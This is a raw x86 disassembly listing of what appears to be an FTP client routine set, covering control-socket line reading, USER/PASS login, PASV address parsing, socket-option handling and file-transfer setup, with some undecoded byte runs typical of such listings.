loc_42C8B2: ; CODE XREF: sub_42C810+90j
cmp eax, ebx
jz short loc_42C8CD
push esi
call near ptr 77C1BF18h
nop
add esp, 4
push eax
call sub_436F36
; ---------------------------------------------------------------------------
mov [esp+arg_12], ax
jmp short sub_42C8E1
; ---------------------------------------------------------------------------
loc_42C8CD: ; CODE XREF: sub_42C810+A4j
push offset aTcp ; "tcp"
push esi
call sub_436F96
sub_42C810 endp
; ---------------------------------------------------------------------------
mov dx, [eax+8]
mov [esp+16h], dx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj
arg_10 = dword ptr 14h
push ebp
call sub_436EF4
cmp eax, 0FFFFFFFFh
mov [esp+4+arg_10], eax
jnz short loc_42C92D
push ebp
call sub_436EE8
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 58681875h, 0E8004454h, 7780A4EEh, 4C48390h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42C92D: ; CODE XREF: sub_42C8E1+Dj
push ebp
mov ebp, dword_50FAC4
call ebp ; dword_50FAC4
add esp, 4
push 6
push 1
push 2
call sub_436F3C
sub_42C8E1 endp
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 445450h, 0A49CE890h, 0C4837780h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44544068h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
dd 52406807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF71Bh
dd 83F08B90h, 0F33B08C4h, 38681E75h, 90004454h, 80A435E8h
dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
dd 54386824h, 0E8900044h, 7780A402h, 5704C483h, 0A50DE8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42CB10 proc near ; CODE XREF: sub_42DFD0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CB4A
loc_42CB32: ; CODE XREF: sub_42CB10+8Ej
; sub_42CB10+D9j
push offset aControlSocketR ; "Control socket read failed"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CB4A: ; CODE XREF: sub_42CB10+20j
mov eax, dword_50E3DC
mov ebx, dword_50FA80
cmp eax, 1
jle short loc_42CB6E
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx ; dword_50FA80
add esp, 0Ch
loc_42CB6E: ; CODE XREF: sub_42CB10+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42CBEE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
nop
call near ptr 77C47A90h
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42CC50
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42CB32
mov ebp, dword_50FAD4
loc_42CBA6: ; CODE XREF: sub_42CB10+D7j
cmp dword_50E3DC, 1
jle short loc_42CBC4
mov edx, dword_50FA84
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx ; dword_50FA80
add esp, 0Ch
loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp ; dword_50FAD4
add esp, 0Ch
test eax, eax
jz short loc_42CBEE
push edi
push 100h
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CBA6
jmp loc_42CB32
; ---------------------------------------------------------------------------
loc_42CBEE: ; CODE XREF: sub_42CB10+62j
; sub_42CB10+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42CB10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p
; sub_42CB10+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42CC80
cmp eax, 1
jz short loc_42CC80
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC80: ; CODE XREF: sub_42CC50+1Ej
; sub_42CC50+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42CC92
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC92: ; CODE XREF: sub_42CC50+36j
; sub_42CC50+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42CCE3
cmp ebx, edi
jge short loc_42CCA0
lea edi, [ebx-1]
loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
call near ptr 77C46170h
nop
add esp, 10h
test eax, eax
jz short loc_42CCB9
mov edi, eax
sub edi, ebp
loc_42CCB9: ; CODE XREF: sub_42CC50+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42CD6A
loc_42CCE3: ; CODE XREF: sub_42CC50+47j
cmp ebx, 1
jz loc_42CDBD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42CD0B
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42CD0B: ; CODE XREF: sub_42CC50+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42CDD0
push esi
call sub_42CE80
add esp, 4
test eax, eax
jz loc_42CE02
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
cmp eax, 0FFFFFFFFh
jz loc_42CDEC
test eax, eax
jnz short loc_42CD4F
mov [esp+18h+var_4], 1
loc_42CD4F: ; CODE XREF: sub_42CC50+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42CC92
; ---------------------------------------------------------------------------
loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj
sub ebp, 2
mov esi, offset asc_445230 ; "\r\n"
mov eax, ebp
loc_42CD74: ; CODE XREF: sub_42CC50+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
test cl, cl
jz short loc_42CD98
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42CD74
loc_42CD98: ; CODE XREF: sub_42CC50+130j
xor eax, eax
jmp short loc_42CDA1
; ---------------------------------------------------------------------------
loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj
; sub_42CC50+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj
test eax, eax
jnz short loc_42CE02
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDBD: ; CODE XREF: sub_42CC50+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDD0: ; CODE XREF: sub_42CC50+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42CE02
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDEC: ; CODE XREF: sub_42CC50+EDj
push offset aRead ; "read"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42CE02: ; CODE XREF: sub_42CC50+D2j
; sub_42CC50+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42CC50 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p
; sub_42DC70:loc_42DC9Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42CF63
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42CF63
cmp eax, 2
jnz short loc_42CEB5
lea ebp, [esp+118h+var_104]
jmp short loc_42CEB9
; ---------------------------------------------------------------------------
loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj
lea ebx, [esp+118h+var_104]
loc_42CEB9: ; CODE XREF: sub_42CE80+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42CEC0: ; CODE XREF: sub_42CE80+98j
cmp eax, 40h
jnb short loc_42CED5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42CED5: ; CODE XREF: sub_42CE80+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_436F12
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42CF1A
test eax, eax
jg short loc_42CF51
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42CF56
mov eax, [esp+11Ch+var_104]
jmp short loc_42CEC0
; ---------------------------------------------------------------------------
loc_42CF1A: ; CODE XREF: sub_42CE80+79j
push 100h
xor edi, edi
call near ptr 77C1F2BCh
nop
mov edx, [eax]
push edx
call near ptr 77C371FAh
nop
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF51: ; CODE XREF: sub_42CE80+7Dj
mov edi, 1
loc_42CF56: ; CODE XREF: sub_42CE80+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF63: ; CODE XREF: sub_42CE80+19j
; sub_42CE80+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42CE80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CFC0: ; CODE XREF: ___:00401410j
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42D06F ; default
jmp off_42D074[eax*4] ; switch jump
loc_42CFD7: ; DATA XREF: ___:off_42D074o
mov eax, [esp+8] ; jumptable 0042CFD0 case 0
cmp eax, 1
jz short loc_42CFE9
cmp eax, 2
jnz loc_42D06F ; default
loc_42CFE9: ; CODE XREF: ___:0042CFDEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42CFF8: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D00B: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
push esi ; jumptable 0042CFD0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42D04C: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D05F: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42D06F: ; CODE XREF: ___:0042CFCAj
; ___:0042CFE3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r
dd offset loc_42CFF8 ; jump table for switch statement
dd offset loc_42D00B
dd offset loc_42D04C
dd offset loc_42D05F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D0D0 proc near ; CODE XREF: sub_402243j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov edi, dword_50FA60
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi ; dword_50FA60
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42D13D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi ; dword_50FA60
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42D1A0
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D161: ; CODE XREF: sub_42D0D0+1Bj
; sub_42D0D0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42D0D0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p
; sub_42D0D0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42D1C3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D1C3: ; CODE XREF: sub_42D1A0+15j
mov eax, dword_50E3DC
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42D1EC
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42D1EC: ; CODE XREF: sub_42D1A0+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42D20C
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D20C: ; CODE XREF: sub_42D1A0+60j
push esi
lea ecx, [esp+110h+var_100]
push offset dword_443CE4
push ecx
nop
call near ptr 77C3F931h
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_436F00
sub_42D1A0 endp
; ---------------------------------------------------------------------------
db 85h
dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h
dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h
dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42D2C0 proc near ; CODE XREF: sub_401F55j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42D30C
cmp edi, 4
jz short loc_42D2E6
cmp edi, 3
jnz short loc_42D30C
loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
nop
call near ptr 77C3F931h
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj
; sub_42D2C0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_50FA60
push ecx
lea edx, [esp+114h+var_100]
push offset dword_445504
push edx
call ebp ; dword_50FA60
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42D1A0
add esp, 18h
test eax, eax
jz loc_42D4CE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42D4BF ; default
jmp off_42D4DC[eax*4] ; switch jump
loc_42D358: ; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454FC ; jumptable 0042D351 case 1
mov dl, byte_445500
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D373: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov eax, dword_4454F4 ; jumptable 0042D351 case 2
mov cl, byte_4454F8
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D38D: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov edx, dword_4454EC ; jumptable 0042D351 case 3
mov al, byte_4454F0
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D3A7: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454E4 ; jumptable 0042D351 case 4
mov dl, byte_4454E8
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j
; sub_42D2C0+CBj ...
test esi, esi
jz short loc_42D413
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42D4CE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42D413: ; CODE XREF: sub_42D2C0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42D580
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42D4CE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42D468
mov eax, [esi]
push eax
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D468: ; CODE XREF: sub_42D2C0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42D4AF
mov eax, [esi]
push ebx
push eax
call sub_42DA60
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42D4AF
mov ecx, [esi]
push ecx
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j
; sub_42D2C0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp ; dword_50FA60
add esp, 0Ch
loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj
; sub_42D2C0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42D2C0 endp
; ---------------------------------------------------------------------------
align 4
off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r
dd offset loc_42D373 ; jump table for switch statement
dd offset loc_42D38D
dd offset loc_42D3A7
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42D8A4
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42D5E2
cmp eax, 2
jz short loc_42D5E2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
call near ptr 77C3F931h
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D5E2: ; CODE XREF: sub_42D580+3Aj
; sub_42D580+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42D614
cmp eax, 49h
jz short loc_42D614
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D614: ; CODE XREF: sub_42D580+6Cj
; sub_42D580+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42D6F9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42D1A0
add esp, 0Ch
test eax, eax
jz loc_42D8A4
lea ecx, [ebx+44h]
push 28h
push ecx
nop
call near ptr 77C47660h
add esp, 8
cmp eax, ebp
jz loc_42D8A4
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
call near ptr 77C41B72h
nop
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
push 6
push esi
push 2
call sub_436F3C
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 50684D75h, 0E8004454h, 7780970Ah, 4C48390h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42D6F9: ; CODE XREF: sub_42D580+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_436F2A
; ---------------------------------------------------------------------------
dd 0BD7DC085h, 44557068h, 0D7E89000h, 83778096h, 0C03304C4h
dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h
dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44544068h
dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h
dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h
dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h
dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h
dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh, 90004455h
dd 809625E8h, 4C48377h, 9730E857h, 5E5F0000h, 5BC0335Dh
dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h
dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h
dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h
dd 51500000h, 5C24548Dh, 44554468h, 0E8905200h, 778120DDh
dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h
dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h
dd 9558E800h, 83907780h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------
